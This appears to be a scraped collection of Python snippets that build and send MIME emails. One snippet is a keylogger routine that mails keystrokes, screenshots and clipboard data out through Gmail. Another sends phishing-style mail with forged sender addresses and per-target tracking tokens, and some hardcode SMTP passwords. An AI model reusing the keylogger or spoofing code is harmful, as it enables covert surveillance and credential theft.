Example #1
0
def SendMail(MailMessage, Attachment, Image, MailTitle, Sender, GoalMailbox,
             ForgedAddress, Interval, Key):

    # 邮件内容
    TempFilePath = GetTempFilePath().Result()
    MailUploadFilePath = GetMailUploadFilePath().Result()  # 本地文件路径
    for Department in GoalMailbox:  #循环获取部门
        for Target in GoalMailbox[Department]:  # 向多个目标发送
            time.sleep(float(Interval))  #邮件发送间隔
            MD5 = hashlib.md5(Target.encode()).hexdigest()  #计算文件MD5值
            try:
                EmailBox = MIMEMultipart()  # 创建容器

                EmailBox['From'] = Header(Sender + "<" + ForgedAddress + ">",
                                          'utf-8')  # 发送人
                EmailBox['To'] = Header(Target)  # 发给谁
                EmailBox['Subject'] = Header(MailTitle, 'utf-8')  # 标题
                EmailBox["Accept-Language"] = "zh-CN"
                EmailBox["Accept-Charset"] = "ISO-8859-1,utf-8"
                # 消息正文
                TextMessage = MIMEMultipart('alternative')
                EmailBox.attach(TextMessage)
                MailMessage = Template(MailMessage).render(
                    md5=MD5)  #对里面的模板进行处理,目前固定为{{ md5 }}占位符
                TextMessage.attach(MIMEText(MailMessage, 'html', 'utf-8'))
                # 发送附件
                for i in Attachment:
                    AttachmentTemp = TempFilePath + i  # 文件名字
                    AttachmentName = MailUploadFilePath + Attachment[
                        i]  # 文件真实名字
                    shutil.copy(AttachmentName, AttachmentTemp)  # 复制到temp目录
                    AttachmentData = MIMEApplication(
                        open(AttachmentTemp,
                             'rb').read())  # 使用temp文件的重命名文件进行发送
                    AttachmentData.add_header('Content-Disposition',
                                              'attachment',
                                              filename=i)
                    TextMessage.attach(AttachmentData)
                # 正文图片
                for x in Image:
                    ImageTemp = TempFilePath + x  # 文件名字
                    ImageName = MailUploadFilePath + Image[x]  # 文件真实名字
                    shutil.copy(ImageName, ImageTemp)  # 复制到temp目录
                    pic = MIMEApplication(open(ImageTemp, 'rb').read())
                    pic.add_header("Content-Disposition",
                                   "attachment",
                                   filename=x)
                    pic.add_header('Content-ID', '<' + x + '>')
                    pic.add_header("X-Attachment-Id", "x")
                    TextMessage.attach(pic)
                SMTP = smtplib.SMTP()
                if email_test:  #判断是否测试用例
                    SMTP.connect(third_party_mail_host, 25)  # 25 为 SMTP 端口号
                    SMTP.login(third_party_mail_user, third_party_mail_pass)
                    SMTP.sendmail(third_party_mail_user, Target,
                                  EmailBox.as_string())
                else:
                    SMTP.connect(local_mail_host, 25)  # 25 为 SMTP 端口号
                    #SMTP.set_debuglevel(True)
                    SMTP.sendmail(local_mail_user, Target,
                                  EmailBox.as_string())
                SMTP.quit()
                SMTP.close()
                EmailDetails().Write(email=Target,
                                     email_md5=MD5,
                                     status="1",
                                     project_key=Key,
                                     department=Department)
            except Exception as e:
                ErrorLog().Write("Mail delivery failed->" + str(Target), e)
                EmailDetails().Write(email=Target,
                                     email_md5=MD5,
                                     status="-1",
                                     project_key=Key,
                                     department=Department)
    EmailProject().ProjectCompletion(redis_id=SendMail.request.id)  #修改为完工
Example #2
0
def forgotcredetials(request):

    bug_hunter = []

    if request.method == "POST":
        try:
            lostuser = request.POST['email']

        except Exception as e:
            bug_hunter.append("Invalid input")
            return render(request,
                          "login/forgot.html",
                          context={"error": bug_hunter})

        else:
            try:
                userdata = Signup.objects.get(email=lostuser)
            except Signup.DoesNotExist as e:
                bug_hunter.append("Email not registered with us")
                return render(request,
                              "login/forgot.html",
                              context={"error": bug_hunter})
            else:
                if v.validate_email(lostuser):
                    hashcode = string.digits + string.ascii_letters + string.digits + string.digits
                    hashcode = "".join(
                        [random.choice(hashcode) for value in range(10)])
                    sender = "*****@*****.**"
                    receiver = lostuser
                    # message = """From: %s
                    # To: %s,
                    # Content-Type:text/html,
                    # Mime-version:1.0,
                    # Content-disposition: text,
                    # Subject:Vibes reset password is: %s,
                    # """%("*****@*****.**",receiver , hashcode)
                    message = "Your recovery code is <strong>%s </strong><a href='devcodes.herokuapp.com/login/updatereset/'> reset link</a>" % hashcode
                    mess = MIMEMultipart("alternatives")
                    mess["From"] = "*****@*****.**"
                    mess["To"] = receiver
                    mess["Subject"] = "Devcodes recovery code."
                    message = MIMEText(message, "html")
                    mess.attach(message)
                    try:
                        obj = sm.SMTP('smtp.gmail.com', 587)
                        obj.starttls()
                        obj.login("*****@*****.**", "[email protected]")
                        obj.sendmail(sender, receiver, mess.as_string())
                        obj.close()
                    except Exception as error:
                        print("Error: {}".format(error))
                        bug_hunter.append(
                            "Connection could not be established")
                        # bug_hunter.append(error)
                        return render(request,
                                      "login/forgot.html",
                                      context={"error": bug_hunter})

                    else:
                        Recoverdata.objects.create(
                            uid_id=Signup.objects.get(email=receiver).uid,
                            secret_code=hashcode)
                        print(
                            "Message sent successfully to {}".format(receiver))
                        print("Exiting the mail client program")
                        return render(request, "login/thanks.html")
                else:
                    return render(request,
                                  "login/forgot.html",
                                  context={"error": bug_hunter})
    else:
        return render(request,
                      "login/forgot.html",
                      context={"error": bug_hunter})
Example #3
0
 def __initialize(self):
     self._session_message = MIMEMultipart()
Example #4
0
def _htmlimages2mime(dom, message=None):
    """
    Takes HTML dom object and constructs email object (MIMEMultipart)
    images referenced in html <img src=c:/test.png /> are attached as MIMEImage and
    reference in html part of email are replaced to reference these attachment
    in format <img src=cid:test.png />

    Returns - MIMEMultipart object
    :param dom: dom of the html message
    :param message: MIMEMultipart object (new instance created if None)
    """
    # Create MIME
    if not message:
        message = MIMEMultipart()

    idx = 0
    subtype = None

    img_mimes = []
    # replace image paths with embedded images
    for img_tag in dom.getElementsByTagName("img"):
        src = img_tag.getAttribute("src")
        # Embedded images need speacial treatment
        if src.startswith("data:image"):
            name = "%s_embedded" % idx

            hdr = "data:image/"
            hdr_index = src.index(hdr) + len(hdr)
            imgdef = src[hdr_index:]
            subtype = imgdef[:imgdef.index(";")]

            # At the moment outlook doesn't support SVG so remove such images.
            # TODO: Rasterize the SVG on the fly for embedding.
            if subtype.lower() == "svg+xml":
                img_tag.parentNode.removeChild(img_tag)
                continue
            img_data = base64.b64decode(imgdef[(imgdef.index("base64,") + 7):])
        else:
            # get a unique name for the image
            name = "%s_%s" % (idx, os.path.basename(src))

            with open(src, "rb") as fp:
                img_data = fp.read()

        img_mime = MIMEImage(img_data, _subtype=subtype)

        img_mime.add_header("Content-Disposition", "attachment", filename=name)
        img_mimes.append(img_mime)

        # replace the path with the embedded image
        img_tag.setAttribute("src", "cid:%s" % name)

        idx += 1

    # convert dom back to a unicode string and attach as us-ascii
    # (amazingly outlook doesn't handle utf-8 html)
    html = dom.toxml()
    if isinstance(html, unicode):
        html = html.encode("us-ascii", "ignore")
    message.attach(MIMEText(html, "html", "us-ascii"))

    for img_mime in img_mimes:
        message.attach(img_mime)

    return message
Example #5
0
def make_multipart(content, default_encoding="ascii", with_filenames=False):
    """Return the headers and content for multipart/form-data.

    content -- Dict with content to POST. The dict values are expected to
               be unicode or decodable with us-ascii.
    default_encoding -- Send multipart with this encoding, if no special 
                        encoding was given with the content. Default is ascii.
    with_filenames -- If True, a multipart's files will be sent with the
                      filename paramenter set. Default is False.

    """
    def add_disposition(part, name, filename=None, disposition="form-data"):
        """Add a Content-Disposition header to the part.

        part -- Part to add header to.
        name -- Name of the part.
        filename -- Add this filename as parameter, if given.
        disposition -- Value of the content-disposition header.

        """
        # RFC 2388 Returning Values from Forms: multipart/form-data
        # Each part is expected to contain a content-disposition header
        # [RFC 2183] where the disposition type is "form-data", and where the
        # disposition contains an (additional) parameter of "name", where the
        # value of that parameter is the original field name in the form.
        params = dict(name=name)
        if with_filenames and (filename is not None):
            # RFC 2388 Returning Values from Forms: multipart/form-data
            # The original local file name may be supplied as well, either as
            # a "filename" parameter either of the "content-disposition:
            # form-data" header or, in the case of multiple files, in a
            # "content-disposition: file" header of the subpart.
            params["filename"] = path.basename(filename)
        part.add_header("Content-Disposition", disposition, **params)

    def create_part(key, fileobject, content_type, multiple=False):
        """Create and return a multipart part as to given file data.

        key -- Field name.
        fileobject -- The file-like object to add to the part.
        content_type -- Content-type of the file. If None, use default.
        multiple -- If true, use Content-Disposition: file.

        """
        if not content_type:
            content_type = DEFAULT_CONTENT_TYPE
        (maintype, subtype) = content_type.split("/")
        part = MIMEBase(maintype, subtype)
        part.set_payload(fileobject.read())
        encode_base64(part)
        filename = getattr(fileobject, "name", None)
        kwargs = dict()
        if multiple:
            # RFC 2388 Returning Values from Forms: multipart/form-data
            # The original local file name may be supplied as well, either as
            # a "filename" parameter either of the "content-disposition:
            # form-data" header or, in the case of multiple files, in a
            # "content-disposition: file" header of the subpart.
            kwargs["disposition"] = "file"
        add_disposition(part, key, filename, **kwargs)
        return part

    # RFC 2388 Returning Values from Forms: multipart/form-data
    mime = MIMEMultipart("form-data")
    files = list()
    items_iterator = content.iteritems() if PYTHON2 else content.items()
    for (key, data) in items_iterator:
        # Are there explicit encodings/content-types given?
        # Note: Cannot do a (value, encoding) = value here as fileobjects then
        # would get iterated, which is not what we want.
        if isinstance(data, tuple) and (len(data) == 2):
            (value, encoding) = data
        else:
            (value, encoding) = (data, None)
        # collect file-like objects
        if hasattr(value, "read"):
            files.append((key, value, encoding))
        # no file-like object
        else:
            if isinstance(value, MIMEBase):
                part = value
            else:
                encoding = encoding if encoding else default_encoding
                part = MIMEText(value, "plain", encoding)
            add_disposition(part, key)
            mime.attach(part)

    filecount = len(files)
    if filecount == 1:
        filedata = files[0]
        part = create_part(*filedata)
        mime.attach(part)
    elif filecount > 1:
        # RFC 2388 Returning Values from Forms: multipart/form-data
        # 4.2 Sets of files
        # If the value of a form field is a set of files rather than a single
        # file, that value can be transferred together using the
        # "multipart/mixed" format.
        mixed = MIMEMultipart("mixed")
        for filedata in files:
            part = create_part(multiple=True, *filedata)
            mixed.attach(part)
        mime.attach(mixed)

    # mime.items must be called after mime.as_string when the headers shall
    # contain the boundary
    complete_mime = mime.as_string()
    headers = dict(mime.items())
    # trim headers from create mime as these will later be added by httplib.
    payload_start = complete_mime.index("\n\n") + 2
    payload = complete_mime[payload_start:]
    return (headers, payload)
Example #6
0
SMTP_host = 'email-smtp.us-west-2.amazonaws.com'
SMTP_port = '587'
SMTP_username = '******'
SMTP_password = '******'
sender = '*****@*****.**'
from_email = '*****@*****.**'

emailBody = """
<html><body><p>Revenue Numbers</p>
{RequestsDaily}
<p>Request Block numbers:</p>
{RequestSummary}
</body></html>
"""

html = emailBody.format(RequestsDaily=RequestsDaily.to_html(),
                        RequestSummary=RequestSummary.to_html(index=False))

message = MIMEMultipart("alternative", None, [MIMEText(html, 'html')])

message['Subject'] = 'XXXX Report' + ' ' + str(year) + '-' + str(
    month) + '-' + str(day)
message['From'] = from_email
message['To'] = '*****@*****.**'
server = smtplib.SMTP(SMTP_host)
server.ehlo()
server.starttls()
server.login(SMTP_username, SMTP_password)
server.sendmail(from_email, '*****@*****.**', message.as_string())
server.quit()
"""

import email, smtplib, ssl, getpass

from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

subject = "An email with attachment from Python"
body = "This is an email with attachment sent from Python"
sender_email = "*****@*****.**"
receiver_email = "*****@*****.**"

# Create a multipart message and set headers
message = MIMEMultipart()
message["From"] = sender_email
message["To"] = receiver_email
message["Subject"] = subject
message["Bcc"] = receiver_email  # Recommended for mass emails

# Add body to email
message.attach(MIMEText(body, "plain"))

filename = "workbook.pdf"  # In same directory as script

# Open PDF file in binary mode
with open(filename, "rb") as attachment:
    # Add file as application/octet-stream
    # Email client can usually download this automatically as attachment
    part = MIMEBase("application", "octet-stream")
Example #8
0
    def send_scan_notice(self, to=None, _from=None, target=None, source=None, \
        engine=None, start=None):

        _subject = "Scanning {tar} beginning {st}".format( \
            tar=target, st=start)

        scan_type = None
        if 'masscan' in engine:
            scan_type = 'Network discovery scan'
        elif 'nmap' in engine:
            scan_type = 'Network discovery or host enumeration scan'

        text = "Automated server texting will be conducted "
        text += "on {tar} beginning {st}.".format(tar=target, st=start)

        body = """
<h3>TO WHOM IT MAY CONCERN:</h3>
<p>Automated server texting will be conducted on {tar} beginning {st}.</p>

<h3>OUTAGE:</h3>
<p>No outage is intended for this exercise.</p>

<h3>POTENTIAL IMPACT:</p>
<p>No anticipated impact.</p>

<h3>BACKPUT PLAN:</p>
<p>If any adverse reactions are observed that requires scanning to stop, please
call the Security Operation Center (SOC).</p>

<table style=\"border: 2px solid #000; padding 0px; margin: 0px;\">
<tr style=\"margine: 0px;\">
    <td style=\"text-align: center; background-color: #99ccff; font-weight:
bold; border: 1px solid #000;\">Target</td>
    <td style=\"text-align: center; background-color: #99ccff; font-weight:
bold; border: 1px solid #000;\">Source</td>
    <td style=\"text-align: center; background-color: #99ccff; font-weight:
bold; border: 1px solid #000;\">Component Engine</td>
    <td style=\"text-align: center; background-color: #99ccff; font-weight:
bold; border: 1px solid #000;\">Scan Type</td>
</tr>
<tr style=\"margin: 0px;\">
    <td style=\"text-align: center; padding: 0px; margin: 0px;
border: 1px solid #000;\">{tar}</td>
    <td style=\"text-align: center; padding: 0px; margin: 0px;
border: 1px solid #000;\">{src}</td>
    <td style=\"text-align: center; padding: 0px; margin: 0px;
border: 1px solid #000;\">{eng}</td>
    <td style=\"text-align: center; padding: 0px; margin: 0px;
border: 1px solid #000;\">{typ}</td>
</tr>
</table>
<p>Thank you for your time.</p>
""".format(st=start, tar=target, src=source, eng=engine, typ=scan_type)

        msg = MIMEMultipart('alternative')
        msg['Subject'] = _subject
        msg['From'] = _from
        msg['To'] = to

        part1 = MIMEText(text, 'plain')
        part2 = MIMEText(body, 'html')

        msg.attach(part1)
        msg.attach(part2)

        s = smtplib.SMTP(self.smtp_host)
        s.sendmail(_from, to, msg.as_string())
        s.quit()
Example #9
0
def send_mail():
    global message,text
    
    
    sender = 'your email address'
    password = '******'
    
    
    '''create a new gmail account where keylogger will send the file to
    NOTE:
        You Have to enable this:
            allowing less secure apps to access your account
            (https://support.google.com/accounts/answer/6010255)
            refer this link
    '''
    
    #checking if the internet is connected or not
    
    if(IPaddress!='127.0.0.1'):
        print("connected")
        email_message = MIMEMultipart()
        email_message['Subject']=subject
        print(message)
        print(len(message))
        #attaching the contents of the file as body to the message
        email_message.attach(MIMEText(message, "plain"))
        take_screenshot()
        message=""
        filename = "screengrab.png"  # In same directory as script
        # Open file in binary mode
        with open(filename, "rb") as attachment:
            # Add file as application/octet-stream
            # Email client can usually download this automatically as attachment
            part = MIMEBase("application", "octet-stream")
            part.set_payload(attachment.read())

            # Encode file in ASCII characters to send by email    
            encoders.encode_base64(part)

            # Add header as key/value pair to attachment part
            part.add_header(
                    "Content-Disposition",
                    f"attachment; filename= {filename}",
                    )
        email_message.attach(part)
        email_message.attach(MIMEText("\n", "plain"))
        get_clipboard()
        email_message.attach(MIMEText(text, "plain"))
        text=""
        #here converting it into a string so that it could se send as a message
        send=email_message.as_string()
        print(len(send))
        if(len(send)!=307):
            print('inside if')
            s = smtplib.SMTP('smtp.gmail.com', 587)
            s.starttls()
            s.login(sender, password)
            s.sendmail(sender,sender,send)
            send=''
            print("sent")
    else:
        print("not connected")
Example #10
0
    def post(self):
        logger = logging.getLogger("ForgotPassword")
        logger.info('Entered into ForgotPassword post method')
        try:
            cursor = g.appdb.cursor()
            value = request.json

        except:
            logger.error("DB connection or url parameters error",
                         exc_info=True)

        email = value["email"]
        role_id = value["role_id"]
        now = datetime.datetime.now()

        check = """SELECT employeeId, employeeName, email, joiningDate, role_id
						FROM employee WHERE email=%s AND flag=2 AND role_id=%s"""

        cursor.execute(check, (email, role_id))
        verify = cursor.fetchall()

        if len(verify) > 0:

            if email == verify[0]['email']:
                try:
                    sender = config.get('fromemail')
                    smtppass = base64.decodestring("T2phczEyMzQ=\n")
                    smtpserver = config.get("smtpserver")
                    smtpport = config.get("smtpport")
                    receipient = email

                    msg = MIMEMultipart('alternative')
                    msg['Subject'] = "Change password"
                    msg['From'] = sender
                    msg['To'] = receipient

                    text = """
							Dear %s!\n
							Please click the below link to change your password. 
			     			http://localhost:3000/#/resetpassword/%s

			     			Thanks and Regards,
			     			Inventory Developing Team,
			     			OJAS innovative Techologies,
			     			Hyderabad.
			     			""" % (verify[0]['employeeName'], verify[0]['employeeId'])

                    part = MIMEText(text, 'plain')

                    msg.attach(part)
                    mail = smtplib.SMTP(smtpserver, smtpport)

                    mail.ehlo()
                    mail.starttls()

                    mail.login(sender, smtppass)
                    mail.sendmail(sender, receipient, msg.as_string())

                    mail.quit()
                    status = "success"
                    response = "Link has been mailed"

                except smtplib.SMTPException:
                    logger.error("unable to send mail")

        else:
            status = 'Failed'
            response = 'User does not exsist'

        logger.info('Exited from Add_User post method')
        return jsonify({"status": status, "response": response})
username = "******"
password = "******"

to_username = "******"

email_conn = smtplib.SMTP(host, port)
email_conn.ehlo()
email_conn.starttls()

try:
    email_conn.login(username, password)

    #我還是不知道這三小,但根據網路上的講法:可放入alternavtie和mixed,各自有差異
    #the_msg = MIMEMultipart("mixed")
    the_msg = MIMEMultipart("alternavtive")

    #主旨
    the_msg['Subject'] = "Hello there"

    #寄信者
    the_msg["From"] = username

    #收信者
    the_msg["To"] = to_username

    #信息
    the_plain = "This is a test about sending a email with a web page"

    the_html = """
		<h1>Hi</hi>
Example #12
0
    def post(self):
        logger = logging.getLogger("Add_user")
        logger.info('Entered into Add_user  post method')
        try:
            cursor = g.appdb.cursor()
        except:
            logger.error("DB connection or url parameters error",
                         exc_info=True)

        value = request.json
        employeeId = value["employeeId"]
        employeeName = value["employeeName"]
        email = value["email"]
        role_id = int(value["role_id"])
        gender = value["gender"]
        joiningDate = value["joiningDate"].split('T')[0]
        now = datetime.datetime.now()
        createDate = now.strftime("%Y-%m-%d %H:%M:%S")

        check = """SELECT employeeId, employeeName FROM employee
					WHERE employeeId = %s""" % employeeId
        cursor.execute(check, )
        verify = cursor.fetchall()

        if len(verify) == 0:
            try:
                sender = config.get('fromemail')
                smtppass = base64.decodestring("T2phczEyMzQ=\n")
                smtpserver = config.get("smtpserver")
                smtpport = config.get("smtpport")
                receipient = email

                msg = MIMEMultipart('alternative')
                msg['Subject'] = "check the Link"
                msg['From'] = sender
                msg['To'] = receipient

                text = """Dear %s!\n Please complete the registration process.
							\n Here is the link.\nYour Employee id: %s 
							\nhttp://127.0.0.1:5500/index.html#/setpassword/%s/%s
				             Please set your password as early as possible to avoid the url expiration
				             """ % (employeeName, employeeId, employeeName, employeeId)

                part = MIMEText(text, 'plain')

                msg.attach(part)
                mail = smtplib.SMTP(smtpserver, smtpport)

                mail.ehlo()
                mail.starttls()

                mail.login(sender, smtppass)
                mail.sendmail(sender, receipient, msg.as_string())
                mail.quit()

            except smtplib.SMTPException:
                logger.error("unable to send mail")

            else:

                query = '''INSERT INTO employee (employeeId, employeeName, email,
								 joiningDate,  role_id, createDate, gender)
							VALUES (%s,%s,%s,%s,%s,%s,%s);'''

                cursor.execute(query,
                               (employeeId, employeeName, email, joiningDate,
                                role_id, createDate, gender))
                g.appdb.commit()

                status = 'Success'
                response = 'registration mail sent to employee successfully'

        else:
            status = 'Failed'
            response = 'employeeId already signed up'

        logger.info('Exited from Add_User post method')
        return jsonify({
            "status": status,
            "employeeId": employeeId,
            "response": response
        })
Example #13
0
    def send_email(self, alert):
        """Attempt to send an email for the provided alert, compiling
        the subject and text template and using all the other smtp settings
        that were specified in the configuration file
        """
        contacts = list(OPTIONS['mail_to'])
        LOG.debug('Initial contact list: %s', contacts)
        if 'group_rules' in OPTIONS and len(OPTIONS['group_rules']) > 0:
            LOG.debug('Checking %d group rules' % len(OPTIONS['group_rules']))
            for rule in OPTIONS['group_rules']:
                LOG.info('Evaluating rule %s', rule['name'])
                is_matching = False
                for field in rule['fields']:
                    LOG.debug('Evaluating rule field %s', field)
                    value = getattr(alert, field['field'], None)
                    if value is None:
                        LOG.warning('Alert has no attribute %s',
                                    field['field'])
                        break
                    if self._rule_matches(field['regex'], value):
                        is_matching = True
                    else:
                        is_matching = False
                        break
                if is_matching:
                    # Add up any new contacts
                    new_contacts = [
                        x.strip() for x in rule['contacts']
                        if x.strip() not in contacts
                    ]
                    if len(new_contacts) > 0:
                        if not rule.get('exclude', False):
                            LOG.debug('Extending contact to include %s' %
                                      (new_contacts))
                            contacts.extend(new_contacts)
                        else:
                            LOG.info('Clearing initial list of contacts and'
                                     ' adding for this rule only')
                            del contacts[:]
                            contacts.extend(new_contacts)

        # Don't loose time (and try to send an email) if there is no contact...
        if not contacts:
            return

        template_vars = {
            'alert': alert,
            'mail_to': contacts,
            'dashboard_url': OPTIONS['dashboard_url'],
            'program': os.path.basename(sys.argv[0]),
            'hostname': platform.uname()[1],
            'now': datetime.datetime.utcnow()
        }

        subject = self._subject_template.render(alert=alert)
        text = self._template_env.get_template(
            self._template_name).render(**template_vars)

        if (OPTIONS['email_type'] == 'html' and self._template_name_html):
            html = self._template_env.get_template(
                self._template_name_html).render(**template_vars)
        else:
            html = None

        msg = MIMEMultipart('alternative')
        msg['Subject'] = Header(subject, 'utf-8').encode()
        msg['From'] = OPTIONS['mail_from']
        msg['To'] = ", ".join(contacts)
        msg.preamble = msg['Subject']

        # by default we are going to assume that the email is going to be text
        msg_text = MIMEText(text, 'plain', 'utf-8')
        msg.attach(msg_text)
        if html:
            msg_html = MIMEText(html, 'html', 'utf-8')
            msg.attach(msg_html)

        try:
            self._send_email_message(msg, contacts)
            LOG.debug('%s : Email sent to %s' %
                      (alert.get_id(), ','.join(contacts)))
            return (msg, contacts)
        except smtplib.SMTPException as e:
            LOG.error('Failed to send mail to %s on %s:%s : %s',
                      ", ".join(contacts), OPTIONS['smtp_host'],
                      OPTIONS['smtp_port'], e)
            return None
        except (socket.error, socket.herror, socket.gaierror) as e:
            LOG.error('Mail server connection error: %s', e)
            return None
        except Exception as e:
            LOG.error('Unexpected error while sending email: {}'.format(
                str(e)))  # nopep8
            return None
Example #14
0
    qi_data = get_info(alldata, 'QI')
    html = html + '等级(QI):<br>' + qi_data

    filter_data = get_info(alldata, 'FILTER')
    html = html + '各bit数据分布<br>' + filter_data

    lack_data = get_info(alldata, '缺失')
    html = html + '数据缺失情况<br>' + lack_data

    remain_data = get_info(alldata)
    html = html + '其他数据信息<br>' + remain_data

    html_content = html_content % (html)
    print html_content

    msg = MIMEMultipart('related')
    msg['From'] = sender
    msg['Subject'] = subject
    msg['To'] = COMMASPACE.join(receiver)
    print msg['To']
    msg.attach(MIMEText(text, 'html', 'utf-8'))

    try:
        smtp = smtplib.SMTP()
        smtp.connect('abc.com')
        smtp.sendmail(sender, receiver, msg.as_string())
        print 'send mail secuessfully'
    except smtplib.SMTPException:
        print 'Error:send failed'
    smtp.quit()
Example #15
0
    def main(self):

        self.value.set('')

        def getNamesList(filename):
            """This function reads a file and creates a list
            with its contents"""
            participants = []
            emails = []
            filename = open(filename, 'r')
            for line in filename:
                line = line.rstrip('\n')
                sline = line.split()
                participants.append(sline[0] + ' ' + sline[1])
                emails.append(sline[2])
            filename.close()
            return participants, emails

        def read_template(filename):
            """This function reads a file as the template for the message
            you're going to send"""
            with open(filename, 'r', encoding='utf-8') as template_file:
                template_file_content = template_file.read()
            return Template(template_file_content)

        nameFile = 'participants.txt'
        MY_ADDRESS = self.email_entry.get()
        PASSWORD = self.password_entry.get()
        subject = self.subject_entry.get()

        participants, emails = getNamesList(nameFile)
        message_template = read_template('message.txt')

        partners = participants[:]

        # Checking if anyone is matched with themselves

        same = True

        while same is True:
            same = False
            random.shuffle(partners)
            for i in range(len(participants)):
                if participants[i] == partners[i]:
                    same = True

        for i in range(len(participants)):
            print(participants[i], '------>', partners[i])

        s = smtplib.SMTP(host='smtp.gmail.com', port=587)
        s.starttls()
        s.login(MY_ADDRESS, PASSWORD)

        for partners, email in zip(partners, emails):
            msg = MIMEMultipart()
            message = message_template.substitute(PERSON_NAME=partners.title())
            msg['From'] = MY_ADDRESS
            msg['To'] = email
            msg['Subject'] = subject
            msg.attach(MIMEText(message, 'plain'))
            s.send_message(msg)
            del msg

        s.quit()

        self.value.set('Success')
Example #16
0
    def send_raw(self, job, message, config):
        config = dict(self.middleware.call_sync('mail.config'), **config)

        if config['fromname']:
            from_addr = Header(config['fromname'], 'utf-8')
            try:
                config['fromemail'].encode('ascii')
            except UnicodeEncodeError:
                from_addr.append(f'<{config["fromemail"]}>', 'utf-8')
            else:
                from_addr.append(f'<{config["fromemail"]}>', 'ascii')
        else:
            try:
                config['fromemail'].encode('ascii')
            except UnicodeEncodeError:
                from_addr = Header(config['fromemail'], 'utf-8')
            else:
                from_addr = Header(config['fromemail'], 'ascii')

        interval = message.get('interval')
        if interval is None:
            interval = timedelta()
        else:
            interval = timedelta(seconds=interval)

        sw_name = self.middleware.call_sync('system.info')['version'].split(
            '-', 1)[0]

        channel = message.get('channel')
        if not channel:
            channel = sw_name.lower()
        if interval > timedelta():
            channelfile = '/tmp/.msg.%s' % (channel)
            last_update = datetime.now() - interval
            try:
                last_update = datetime.fromtimestamp(
                    os.stat(channelfile).st_mtime)
            except OSError:
                pass
            timediff = datetime.now() - last_update
            if (timediff >= interval) or (timediff < timedelta()):
                # Make sure mtime is modified
                # We could use os.utime but this is simpler!
                with open(channelfile, 'w') as f:
                    f.write('!')
            else:
                raise CallError(
                    'This message was already sent in the given interval')

        verrors = self.__password_verify(config['pass'], 'mail-config.pass')
        if verrors:
            raise verrors
        to = message.get('to')
        if not to:
            to = [
                self.middleware.call_sync('user.query',
                                          [('username', '=', 'root')],
                                          {'get': True})['email']
            ]
            if not to[0]:
                raise CallError('Email address for root is not configured')

        if message.get('attachments'):
            job.check_pipe("input")

            def read_json():
                f = job.pipes.input.r
                data = b''
                i = 0
                while True:
                    read = f.read(1048576)  # 1MiB
                    if read == b'':
                        break
                    data += read
                    i += 1
                    if i > 50:
                        raise ValueError(
                            'Attachments bigger than 50MB not allowed yet')
                if data == b'':
                    return None
                return json.loads(data)

            attachments = read_json()
        else:
            attachments = None

        if 'html' in message or attachments:
            msg = MIMEMultipart()
            msg.preamble = 'This is a multi-part message in MIME format.'
            if 'html' in message:
                msg2 = MIMEMultipart('alternative')
                msg2.attach(
                    MIMEText(message['text'], 'plain', _charset='utf-8'))
                msg2.attach(MIMEText(message['html'], 'html',
                                     _charset='utf-8'))
                msg.attach(msg2)
            if attachments:
                for attachment in attachments:
                    m = Message()
                    m.set_payload(attachment['content'])
                    for header in attachment.get('headers'):
                        m.add_header(header['name'], header['value'],
                                     **(header.get('params') or {}))
                    msg.attach(m)
        else:
            msg = MIMEText(message['text'], _charset='utf-8')

        msg['Subject'] = message['subject']

        msg['From'] = from_addr
        msg['To'] = ', '.join(to)
        if message.get('cc'):
            msg['Cc'] = ', '.join(message.get('cc'))
        msg['Date'] = formatdate()

        local_hostname = socket.gethostname()

        msg['Message-ID'] = "<%s-%s.%s@%s>" % (
            sw_name.lower(), datetime.utcnow().strftime("%Y%m%d.%H%M%S.%f"),
            base64.urlsafe_b64encode(os.urandom(3)), local_hostname)

        extra_headers = message.get('extra_headers') or {}
        for key, val in list(extra_headers.items()):
            # We already have "Content-Type: multipart/mixed" and setting "Content-Type: text/plain" like some scripts
            # do will break python e-mail module.
            if key.lower() == "content-type":
                continue

            if key in msg:
                msg.replace_header(key, val)
            else:
                msg[key] = val

        syslog.openlog(logoption=syslog.LOG_PID, facility=syslog.LOG_MAIL)
        try:
            if config['oauth']:
                self.middleware.call_sync('mail.gmail_send', msg, config)
            else:
                server = self._get_smtp_server(config,
                                               message['timeout'],
                                               local_hostname=local_hostname)
                # NOTE: Don't do this.
                #
                # If smtplib.SMTP* tells you to run connect() first, it's because the
                # mailserver it tried connecting to via the outgoing server argument
                # was unreachable and it tried to connect to 'localhost' and barfed.
                # This is because FreeNAS doesn't run a full MTA.
                # else:
                #    server.connect()
                headers = '\n'.join([f'{k}: {v}' for k, v in msg._headers])
                syslog.syslog(f"sending mail to {', '.join(to)}\n{headers}")
                server.sendmail(from_addr.encode(), to, msg.as_string())
                server.quit()
        except Exception as e:
            # Don't spam syslog with these messages. They should only end up in the
            # test-email pane.
            # We are only interested in ValueError, not subclasses.
            if e.__class__ is ValueError:
                raise CallError(str(e))
            syslog.syslog(f'Failed to send email to {", ".join(to)}: {str(e)}')
            if isinstance(e, smtplib.SMTPAuthenticationError):
                raise CallError(
                    f'Authentication error ({e.smtp_code}): {e.smtp_error}',
                    errno.EAUTH if osc.IS_FREEBSD else errno.EPERM)
            self.logger.warn('Failed to send email: %s', str(e), exc_info=True)
            if message['queue']:
                with MailQueue() as mq:
                    mq.append(msg)
            raise CallError(f'Failed to send email: {e}')
        return True
Example #17
0
class Command(BaseCommand):
    help = 'Sends a mass email to all subscribers based on the weather.'
    form = """<font color="blue" family="KaiTi, Sans Serif">Current weather for %s, %s: %.0f<sup>o</sup>F, %s</font>"""
    form_image = """<br /> <br /><img src="cid:weather" alt="%s">"""

    image_fn = 'util/%d.png'
	
    def handle(self, *args, **options):
        sender = '*****@*****.**'
		email_dict = {}
		is_day = datetime.now().time().hour in range(8, 20)
		almanac_temp = 'temp_high' if is_day else 'temp_low'
		
		for ws in WeatherSubscription.objects.all():
            city, state = ws.location.split(',')
			api_url_name = ("http://api.wunderground.com/api/6e677fb094c89662/conditions/almanac/q/%s/%s.json" % (state, city)).replace(' ', '_')
			api_url_file = None
			try:
			    api_url_file = urlopen(api_url_name)
			except IOError as e:
			    print(ws.location + ' not providing a valid URL, continuing without email')
			    continue
			
			weather_dict = json.loads(urlopen(api_url_name).read().decode('utf-8'))
			if 'error' in weather_dict:
			    print(ws.location + ' not providing a proper JSON response from Wunderground, continuing without email')
			    continue
			
			current_temp = float(weather_dict['current_observation']['temp_f'])
			normal_temp = float(weather_dict['almanac'][almanac_temp]['normal']['F'])
			weather_description = weather_dict['current_observation']['weather']
